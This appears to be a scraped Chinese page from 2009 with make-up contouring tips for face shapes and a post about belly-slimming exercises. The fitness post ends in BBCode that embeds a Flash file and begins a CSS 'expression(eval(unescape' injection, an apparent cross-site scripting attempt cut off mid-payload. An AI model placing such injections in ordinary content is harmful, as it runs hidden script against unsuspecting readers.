修饰技巧：需在颧骨、下巴和额头两边着深色粉底，再于颧骨以下消瘦的两腮用白色粉底，使整个脸看起来较丰满、明朗化。而两旁头发不宜梳太松，上方则尽量梳篷松些。
■菱型脸
是最富有特色的脸型，额头狭小，两腮消瘦，颧骨较高，下巴也较尖，有尖锐敏感个性。
修饰技巧：需在颧骨和下巴加深色粉底来掩饰过高的颧骨，和过尖的下巴。再于额头两边和两腮加上白色粉底，使之丰满，让脸型显得较为柔和。而前面头发以往下梳为宜。

练掉小肚子

524509459@qq.com(女人你最大) — Fri, 20 Nov 2009 17:24:44 GMT

这些小运动，只要每天挑一个做十分钟两个星期内就会见效这些是有氧运动
要慢慢的做
不要拼了老命的做
如果是第一次做的人
建议先做二十下
再看个人状况逐日增加
不要太勉强
但一定要持之以恒
加油吧！！！
我们一起来练吧[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape

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524509459@qq.com(女人你最大) — Fri, 20 Nov 2009 15:52:16 GMT

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